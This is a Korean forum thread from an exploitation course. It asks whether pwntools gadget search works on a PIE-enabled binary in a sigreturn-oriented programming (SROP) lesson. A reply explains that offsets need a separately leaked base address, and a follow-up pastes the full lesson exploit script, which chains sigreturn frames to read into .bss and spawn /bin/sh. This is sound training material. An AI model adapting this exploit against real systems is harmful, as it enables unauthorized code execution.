완료됨
pie가 적용되었는데 가젯 찾기가 가능한가요?
설명에서는
elf=ELF("./srop")
gadget = next(elf.search(asm('pop rax; syscall')))
위처럼 가젯을 찾았는데요,
PIE가 설정되어있는데 저런식으로 가젯 찾기가 가능한가요?
https://learn.dreamhack.io/11#38 <-Advanced Linux Exploitation 강의의 SROP 부분에서 objdump로 가젯을 찾았던데 PIE가 적용된 이상 불가능하지 않나요?
#시스템해킹
#공격기법
#sigreturn
#sigreturn-oriented_programming
#srop
#signal
작성자 정보
답변
2
wyv3rn
무플 방지 위원회장
네 가능합니다.
다만 베이스주소로부터 오프셋만 가져오기에 베이스 주소는 별도로 구해서 계산해야합니다
Rosieblue
워게임 고인물
#!/usr/bin/env python3
# Name: srop.py
from pwn import *
context.arch = 'x86_64'
p = process('./srop')
elf = ELF('./srop')
gadget = next(elf.search(asm('pop rax; syscall')))
syscall = next(elf.search(asm('syscall')))
read_got = elf.got['read']
_start = elf.symbols['_start']
binsh = '/bin/sh\x00'
bss = elf.bss()
frame = SigreturnFrame()
# read(0, bss, 0x1000)
frame.rax = 0 # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b'A'*16
payload += b'B'*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += bytes(frame)
p.sendline(payload)
# execve('/bin/sh', 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b'/bin/sh\x00'
p.sendline(rop)
p.interactive()
이게 설명에 나와있는 코드인데요 딱히 베이스를 구하는 코드는 없는 것 같아서요.. ㅠㅠ